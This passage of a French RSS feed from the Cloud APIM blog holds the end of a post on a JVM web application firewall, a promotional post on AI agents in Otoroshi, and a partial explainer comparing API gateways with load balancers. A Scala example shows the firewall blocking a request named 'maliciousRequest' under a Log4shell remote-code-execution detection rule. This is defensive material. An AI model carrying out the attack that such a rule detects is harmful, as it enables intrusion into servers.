&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;val&lt;/span&gt;&lt;span&gt; result&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; engine.evaluate(maliciousRequest, phases &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;result.disposition &lt;/span&gt;&lt;span&gt;match&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Continue&lt;/span&gt;&lt;span&gt; =&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    println(&lt;/span&gt;&lt;span&gt;&quot;Request allowed&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Block&lt;/span&gt;&lt;span&gt;(status, msg, ruleId) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    println(&lt;/span&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;&quot;Attack blocked! Rule &lt;/span&gt;&lt;span&gt;$ruleId&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;$msg&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    // Output: Attack blocked! Rule 944150: Potential Remote Command Execution: Log4j / Log4shell&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;open-source&quot;&gt;Open source&lt;/h2&gt;
&lt;p&gt;Tout ce travail est open source :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/cloud-apim/seclang-engine&quot;&gt;&lt;strong&gt;seclang-engine&lt;/strong&gt;&lt;/a&gt; : le parser, le compilateur et le moteur d’exécution SecLang&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/cloud-apim/seclang-engine-coreruleset&quot;&gt;&lt;strong&gt;seclang-engine-coreruleset&lt;/strong&gt;&lt;/a&gt; : un wrapper qui embarque le CRS&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/cloud-apim/libinjection-jvm&quot;&gt;&lt;strong&gt;libinjection-jvm&lt;/strong&gt;&lt;/a&gt; : le portage Java de libinjection&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/cloud-apim/otoroshi-waf-extension&quot;&gt;&lt;strong&gt;otoroshi-waf-extension&lt;/strong&gt;&lt;/a&gt; : l’intégration dans Otoroshi&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Comme seclang-engine est une bibliothèque autonome, avec des API Java et Scala, vous pouvez facilement l’intégrer à n’importe quel projet JVM, qu’il s’agisse d’une application Jakarta EE, Spring Boot, Quarkus ou Play Framework. Ajoutez simplement la dépendance et commencez à protéger vos endpoints.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Ce qui avait commencé comme un projet de vacances de Noël s’est transformé en une implémentation complète de WAF. Ce voyage m’a appris plusieurs choses :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ne vous laissez pas intimider par la complexité&lt;/strong&gt; : cette grammaire ANTLR a transformé un parser « impossible » en projet de week-end.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Les suites de tests valent de l’or&lt;/strong&gt; : les tests du CRS ont été inestimables pour trouver des cas limites que je n’aurais jamais imaginés.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;L’assistance de l’IA, c’est du concret&lt;/strong&gt; : Claude Code m’a aidé à venir à bout des parties fastidieuses (méthodes du visitor, portage de libinjection) pour que je puisse me concentrer sur l’architecture.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Le multi-tenant, ça se conçoit&lt;/strong&gt; : le cache et la composition ne s’ajoutent pas après coup, ils doivent être pensés dès le départ.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Le nouveau WAF tourne désormais en production sur les instances Otoroshi managées de &lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; et sur les déploiements Otoroshi de &lt;a href=&quot;https://www.clever.cloud/&quot;&gt;Clever Cloud&lt;/a&gt;. Il est plus rapide, plus économe en mémoire et bien plus flexible que notre solution basée sur WASM.&lt;/p&gt;
&lt;p&gt;Si vous voulez utiliser &lt;a href=&quot;https://github.com/cloud-apim/seclang-engine&quot;&gt;seclang-engine&lt;/a&gt; dans vos propres projets JVM, jetez un œil aux dépôts ci-dessus. Et si vous avez des questions ou envie de contribuer, n’hésitez pas à ouvrir des issues ou des PR !&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>fr</dc:language><category>CRS</category><category>CoreRuleSet</category><category>SecLang</category><category>Scala</category><category>JVM</category><category>WAF</category><category>OWASP</category><category>Pare-feu applicatif</category><category>Sécurité</category><category>ModSecurity</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.Bez9UhIt_LvSjj.jpg" length="0" type="image/jpeg"/></item><item><title>Les Agents IA arrivent dans Otoroshi</title><link>https://blog.cloud-apim.com/les-agents-ia-arrivent-dans-otoroshi</link><guid isPermaLink="true">https://blog.cloud-apim.com/les-agents-ia-arrivent-dans-otoroshi</guid><description>Découvrez comment Otoroshi révolutionne l’IA avec des agents intelligents et des workflows visuels pour automatiser et orchestrer vos processus.</description><pubDate>Thu, 16 Oct 2025 14:13:16 GMT</pubDate><content:encoded>&lt;h3 id=&quot;le-monde-des-agents-ia&quot;&gt;Le monde des agents IA&lt;/h3&gt;
&lt;p&gt;Depuis quelques mois, tout le monde parle d’&lt;strong&gt;agents IA&lt;/strong&gt;, à toutes les sauces ! Une sorte de machine à tout faire et une super intelligence interconnectée à tous nos outils du quotidien.&lt;/p&gt;
&lt;p&gt;Ces intelligences capables non seulement de comprendre et de répondre, mais aussi d’&lt;strong&gt;agir&lt;/strong&gt;.&lt;br&gt;
Des IA capables de prendre des décisions, d’appeler des outils, d’exécuter des tâches et de collaborer entre elles.&lt;/p&gt;
&lt;p&gt;Mais une question se posait encore : &lt;strong&gt;Comment les créer, les gouverner et les connecter à nos systèmes réels ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;C’est précisément ce qu’apporte aujourd’hui &lt;a href=&quot;https://www.otoroshi.io/&quot;&gt;&lt;strong&gt;Otoroshi&lt;/strong&gt;&lt;/a&gt;, la passerelle API &lt;a href=&quot;https://github.com/MAIF/otoroshi&quot;&gt;open source&lt;/a&gt;, avec sa &lt;strong&gt;nouvelle interface dédiée aux&lt;/strong&gt; &lt;a href=&quot;https://maif.github.io/otoroshi/manual/topics/workflows.html&quot;&gt;&lt;strong&gt;workflows&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;et aux agents IA&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;une-passerelle-qui-souvre-à-de-nouveaux-usages&quot;&gt;Une passerelle qui s’ouvre à de nouveaux usages&lt;/h3&gt;
&lt;p&gt;Jusqu’ici, Otoroshi était déjà reconnu comme un &lt;strong&gt;chef d’orchestre des API&lt;/strong&gt; : un point central qui sécurise, surveille et optimise les échanges entre services.&lt;br&gt;
Mais avec l’arrivée de son &lt;a href=&quot;https://cloud-apim.github.io/otoroshi-llm-extension/&quot;&gt;&lt;strong&gt;extension LLM&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;et de l’interface visuelle de workflows&lt;/strong&gt;, Otoroshi franchit un cap.&lt;/p&gt;
&lt;p&gt;Il ne se contente plus de faire transiter des requêtes.&lt;br&gt;
Il &lt;strong&gt;pense&lt;/strong&gt;, &lt;strong&gt;décide&lt;/strong&gt;, &lt;strong&gt;agit&lt;/strong&gt; et permet à chacun de &lt;strong&gt;concevoir ses propres agents IA&lt;/strong&gt; sans écrire une ligne de code.&lt;/p&gt;
&lt;h3 id=&quot;créez-vos-propres-workflows-ia&quot;&gt;Créez vos propres workflows IA&lt;/h3&gt;
&lt;p&gt;Grâce à la nouvelle interface de conception visuelle, Otoroshi permet désormais de &lt;strong&gt;dessiner des workflows intelligents&lt;/strong&gt; en quelques clics.&lt;/p&gt;
&lt;p&gt;Imaginez un &lt;strong&gt;canvas&lt;/strong&gt; sur lequel vous pouvez :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Relier des &lt;strong&gt;blocs logiques&lt;/strong&gt; : décisions, conditions, boucles, actions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Connecter des &lt;strong&gt;fonctions avancées&lt;/strong&gt; :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;appels à des modèles de langage (LLM),&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;appels HTTP vers vos APIs,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;outils externes,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;fonctions internes (calculs, filtres, conversions, etc.).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ajouter des capacités multimodales : &lt;strong&gt;voix, texte, image, vidéo&lt;/strong&gt;, etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Et surtout, donner à ces workflows une &lt;strong&gt;intelligence adaptative&lt;/strong&gt; grâce aux agents IA intégrés.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;C’est une nouvelle façon de créer : non plus en écrivant du code, mais en &lt;strong&gt;composant une logique intelligente&lt;/strong&gt;, visuellement.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;les-agents-ia-made-by-otoroshi-llm&quot;&gt;Les agents IA made by Otoroshi LLM&lt;/h3&gt;
&lt;p&gt;Un &lt;strong&gt;agent IA&lt;/strong&gt; dans Otoroshi, c’est plus qu’un &lt;strong&gt;chatbot&lt;/strong&gt;.&lt;br&gt;
C’est une &lt;strong&gt;entité&lt;/strong&gt; capable de :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Recevoir une intention&lt;/strong&gt; (par texte, voix, événement, API).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Analyser le contexte&lt;/strong&gt; grâce à sa mémoire et à ses modèles d’intelligence.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Choisir une action&lt;/strong&gt; : appeler un service, générer une image, déclencher un scénario.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Apprendre et s’adapter&lt;/strong&gt; au fil des interactions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Respecter vos règles métiers&lt;/strong&gt; et vos garde-fous de sécurité.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Et surtout, ces agents peuvent être &lt;strong&gt;orchestrés&lt;/strong&gt; dans un workflow :&lt;br&gt;
plusieurs agents qui collaborent, se transmettent des tâches, se corrigent ou se complètent.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;🧩 Vous pouvez littéralement créer un écosystème d’agents IA reliés à vos systèmes d’entreprise.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;une-interface-pensée-pour-la-créativité-et-la-maîtrise&quot;&gt;Une interface pensée pour la créativité et la maîtrise&lt;/h3&gt;
&lt;p&gt;Otoroshi offre désormais une &lt;strong&gt;interface utilisateur complète&lt;/strong&gt; pour gérer :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;🔹 &lt;strong&gt;Les Workflows IA&lt;/strong&gt; — conception visuelle, déclencheurs, logique, conditions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🔹 &lt;strong&gt;Les Agents IA&lt;/strong&gt; — personnalité, rôle, mémoire, accès, outils autorisés.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🔹 &lt;strong&gt;Les Intégrations&lt;/strong&gt; — appels HTTP, fonctions internes, outils métiers, IA externes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🔹 &lt;strong&gt;Les Règles et garde-fous&lt;/strong&gt; — modération, validation, supervision des actions.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le tout dans une interface fluide, visuelle, et gouvernée comme une architecture d’entreprise.&lt;br&gt;
Autrement dit : &lt;strong&gt;la puissance du no-code avec la rigueur du DevOps&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;ce-que-cela-rend-possible&quot;&gt;Ce que cela rend possible&lt;/h3&gt;
&lt;p&gt;Avec Otoroshi et son &lt;a href=&quot;https://github.com/cloud-apim/otoroshi-llm-extension&quot;&gt;extension LLM&lt;/a&gt;, &lt;strong&gt;tout devient orchestrable&lt;/strong&gt;.&lt;br&gt;
Voici quelques exemples concrets :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Un agent support client&lt;/strong&gt; qui comprend une demande, consulte la base documentaire, crée un ticket et envoie un message vocal de confirmation.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Un assistant RH&lt;/strong&gt; qui analyse des candidatures, rédige un résumé et planifie un entretien.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Un orchestrateur marketing&lt;/strong&gt; qui génère un texte, une image et une vidéo pour une campagne, tout en respectant la charte de marque.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Un superviseur IT&lt;/strong&gt; qui surveille les logs, détecte une anomalie et prévient automatiquement l’équipe.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Un coach digital&lt;/strong&gt; qui apprend des interactions passées pour proposer des recommandations toujours plus précises.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Et tout cela, sans code, depuis une &lt;strong&gt;interface unifiée et sécurisée&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;une-intelligence-sous-contrôle&quot;&gt;Une intelligence sous contrôle&lt;/h3&gt;
&lt;p&gt;Ce qui rend cette évolution unique, c’est que l’intelligence artificielle ne s’échappe pas du cadre.&lt;br&gt;
Elle est &lt;strong&gt;orchestrée, auditable et maîtrisée&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Chaque action, chaque décision, chaque interaction est enregistrée et gouvernée via Otoroshi.&lt;br&gt;
Les agents ne font rien “dans le vide” : ils agissent &lt;strong&gt;dans les limites que vous définissez&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;C’est la différence entre une IA puissante et une IA fiable.&lt;/p&gt;
&lt;h3 id=&quot;une-révolution-dans-la-manière-de-concevoir-lintelligence&quot;&gt;Une révolution dans la manière de concevoir l’intelligence&lt;/h3&gt;
&lt;p&gt;Otoroshi n’est plus seulement une passerelle entre les systèmes.&lt;br&gt;
C’est désormais &lt;strong&gt;un orchestrateur d’intelligences&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Les entreprises peuvent :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Créer leurs propres agents IA,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dessiner leurs workflows intelligents,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Connecter leurs outils et services existants,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Et tout piloter depuis une interface visuelle.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;C’est une &lt;strong&gt;nouvelle façon de concevoir la transformation numérique&lt;/strong&gt; :&lt;br&gt;
plus intuitive, plus agile, plus intelligente.&lt;/p&gt;
&lt;h3 id=&quot;-en-résumé&quot;&gt;✨ En résumé&lt;/h3&gt;
&lt;p&gt;Otoroshi + Extension LLM, c’est :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;🧠 Des &lt;strong&gt;agents IA personnalisables&lt;/strong&gt;, capables d’agir et de raisonner.&lt;br&gt;
🔄 Une &lt;strong&gt;interface visuelle&lt;/strong&gt; pour créer des workflows intelligents sans coder.&lt;br&gt;
🌐 Une &lt;strong&gt;intégration fluide&lt;/strong&gt; avec tous vos outils et services.&lt;br&gt;
🔒 Une &lt;strong&gt;gouvernance complète&lt;/strong&gt; : sécurité, audit, conformité.&lt;br&gt;
🚀 Une &lt;strong&gt;plateforme prête pour l’avenir&lt;/strong&gt; des systèmes autonomes et collaboratifs.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;📬 &lt;strong&gt;Restez informé&lt;/strong&gt;&lt;br&gt;
Abonnez-vous à notre blog pour suivre les nouveautés, astuces, et bonnes pratiques autour de nos solutions.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;-à-propos-de-cloud-apim&quot;&gt;🏢 À propos de Cloud APIM&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;&lt;strong&gt;Cloud APIM&lt;/strong&gt;&lt;/a&gt; est un fournisseur de solutions de gestion d’API de nouvelle génération. Nous aidons les entreprises à exploiter tout le potentiel de leurs APIs grâce à des offres &lt;a href=&quot;https://www.cloud-apim.com/fr/otoroshi-managed&quot;&gt;&lt;strong&gt;managées&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;, performantes et prêtes à l’emploi&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Nos produits innovants incluent :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/otoroshi-managed&quot;&gt;&lt;strong&gt;Otoroshi Managed Instances&lt;/strong&gt;&lt;/a&gt; : Instances Otoroshi gérées, configurées et prêtes en quelques secondes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/serverless&quot;&gt;&lt;strong&gt;Serverless avec GitOps&lt;/strong&gt;&lt;/a&gt; : Déploiements scalables sans gestion d’infrastructure&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/authify&quot;&gt;&lt;strong&gt;Authify&lt;/strong&gt;&lt;/a&gt; : Authentification rapide et sécurisée pour vos APIs&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>fr</dc:language><category>Otoroshi</category><category>Otoroshi LLM extension</category><category>IA agentique</category><category>Agents IA</category><category>Workflow</category><category>Automatisation des workflows</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.CuvhbuDg_Z20URxk.jpg" length="0" type="image/jpeg"/></item><item><title>API Gateway vs Load Balancer : quelles différences et quel choix pour votre architecture ?</title><link>https://blog.cloud-apim.com/api-gateway-vs-load-balancer</link><guid isPermaLink="true">https://blog.cloud-apim.com/api-gateway-vs-load-balancer</guid><description>Découvrez les différences entre API Gateway et Load Balancer, leurs usages respectifs et comment choisir la solution adaptée à votre architecture cloud.</description><pubDate>Tue, 08 Jul 2025 08:20:51 GMT</pubDate><content:encoded>&lt;p&gt;Dans le monde de l’&lt;strong&gt;architecture cloud moderne&lt;/strong&gt;, deux termes reviennent souvent lorsqu’il s’agit de gestion du trafic applicatif : &lt;strong&gt;API Gateway&lt;/strong&gt; et &lt;strong&gt;Load Balancer&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Bien qu’ils puissent sembler similaires, leurs rôles sont bien distincts.&lt;/p&gt;
&lt;p&gt;Savoir faire la différence entre ces deux composants est essentiel pour construire une infrastructure performante, sécurisée et scalable.&lt;/p&gt;
&lt;p&gt;Dans cet article, nous allons :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Définir ce qu’est un Load Balancer&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Expliquer le rôle d’une API Gateway&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Comparer leurs cas d’usage&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Et enfin, vous guider dans le choix de la bonne solution selon vos besoins&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;quest-ce-quun-load-balancer-&quot;&gt;Qu’est-ce qu’un Load Balancer ?&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 1536px) 1536px, 100vw&quot; width=&quot;1536&quot; height=&quot;1024&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-a386ab.BQF3nZFq_di5RS.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-a386ab.BQF3nZFq_Z19ytNG.webp 640w, https://blog.cloud-apim.com/_astro/01-a386ab.BQF3nZFq_Z2gp19j.webp 750w, https://blog.cloud-apim.com/_astro/01-a386ab.BQF3nZFq_1q0aqk.webp 828w, https://blog.cloud-apim.com/_astro/01-a386ab.BQF3nZFq_dnniC.webp 1080w, https://blog.cloud-apim.com/_astro/01-a386ab.BQF3nZFq_2paGmB.webp 1280w, https://blog.cloud-apim.com/_astro/01-a386ab.BQF3nZFq_di5RS.webp 1536w&quot;&gt;&lt;/p&gt;
&lt;p&gt;Un &lt;strong&gt;Load Balancer&lt;/strong&gt; (ou &lt;strong&gt;répartiteur de charge&lt;/strong&gt;) est un composant réseau qui distribue automatiquement le trafic entrant entre plusieurs serveurs ou instances d’un même service.&lt;/p&gt;
&lt;p&gt;Il agit principalement au niveau de la couche 4 (transport) ou 7 (application) du modèle OSI.&lt;/p&gt;
&lt;h3 id=&quot;objectifs-principaux-&quot;&gt;Objectifs principaux :&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Répartition du trafic pour éviter la surcharge d’un seul serveur&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Haute disponibilité et tolérance aux pannes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Amélioration des performances globales&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;exemple-dusage-&quot;&gt;Exemple d’usage :&lt;/h3&gt;
&lt;p&gt;Un site web très visité peut utiliser un Load Balancer pour répartir les requêtes HTTP entre plusieurs serveurs web (ex : Nginx, Apache).&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;quest-ce-quune-api-gateway-&quot;&gt;Qu’est-ce qu’une API Gateway ?&lt;/h2&gt;
&lt;p&gt;Une &lt;strong&gt;API Gateway&lt;/strong&gt; est bien plus qu’un répartiteur de trafic.&lt;/p&gt;
&lt;p&gt;Elle est conçue pour gérer les appels aux &lt;strong&gt;API&lt;/strong&gt; (interfaces de programmation), en assurant leur &lt;strong&gt;sécurité, gouvernance et orchestration&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Elle se situe entre les clients (applications, mobiles, partenaires…) et vos services backend (microservices, bases de données, etc.).&lt;/p&gt;
&lt;h3 id=&quot;fonctionnalités-clés-dune-api-gateway-&quot;&gt;Fonctionnalités clés d’une API Gateway :&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Authentification &amp;#x26; Autorisation&lt;/strong&gt; (OAuth2, JWT)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Rate Limiting&lt;/strong&gt; (limitation de débit)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Transformation de requêtes et de réponses&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Routage intelligent&lt;/strong&gt; (en fonction des versions, headers, payload…)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Monitoring &amp;#x26; Logs&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Gestion du cycle de vie des API&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;exemple-dusage--1&quot;&gt;Exemple d’usage :&lt;/h3&gt;
&lt;p&gt;Une entreprise expose ses services métier (stock, commande, paiement) via des APIs.&lt;/p&gt;
&lt;p&gt;L’API Gateway centralise tous les appels, applique des règles de sécurité, trace les appels et permet une gouvernance globale.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;load-balancer-vs-api-gateway--le-comparatif&quot;&gt;Load Balancer vs API Gateway : le comparatif&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Fonctionnalité&lt;/th&gt;
&lt;th&gt;Load Balancer&lt;/th&gt;
&lt;th&gt;API Gateway&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Répartition du trafic&lt;/td&gt;
&lt;td&gt;✅ Oui&lt;/td&gt;
&lt;td&gt;✅ Oui (avec logique applicative)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentification&lt;/td&gt;
&lt;td&gt;❌ Non&lt;/td&gt;
&lt;td&gt;✅ Oui&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sécurité des API&lt;/td&gt;
&lt;td&gt;❌ Non&lt;/td&gt;
&lt;td&gt;✅ Oui (WAF, TLS, etc.)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Transformation JSON/XML&lt;/td&gt;
&lt;td&gt;❌ Non&lt;/td&gt;
&lt;td&gt;✅ Oui&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Limitation de débit&lt;/td&gt;
&lt;td&gt;❌ Non&lt;/td&gt;
&lt;td&gt;✅ Oui&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Monitoring des appels API&lt;/td&gt;
&lt;td&gt;❌ Basique&lt;/td&gt;
&lt;td&gt;✅ Avancé&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gouvernance des API&lt;/td&gt;
&lt;td&gt;❌ Non&lt;/td&gt;
&lt;td&gt;✅ Oui&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id=&quot;quelle-solution-choisir-pour-votre-infrastructure-&quot;&gt;Quelle solution choisir pour votre infrastructure ?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Si votre objectif est uniquement de &lt;strong&gt;répartir du trafic entre plusieurs serveurs&lt;/strong&gt; pour garantir la disponibilité, le &lt;strong&gt;Load Balancer&lt;/strong&gt; suffit.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;En revanche, si vous souhaitez &lt;strong&gt;exposer, sécuriser, versionner et piloter des API&lt;/strong&gt; pour des applications internes ou externes, l’&lt;strong&gt;API Gateway est indispensable&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
